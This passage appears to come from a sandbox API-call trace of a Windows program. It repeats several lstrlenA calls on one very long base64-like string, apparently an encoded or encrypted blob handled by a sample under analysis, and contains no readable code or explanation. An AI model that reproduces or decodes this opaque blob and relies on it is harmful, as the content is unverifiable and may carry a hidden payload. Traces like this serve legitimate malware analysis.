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") returned 5820
	[0084.636] lstrlenA (lpString="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") returned 5820
	[0084.636] lstrlenA (lpString="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") returned 5820
	[0084.636] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rX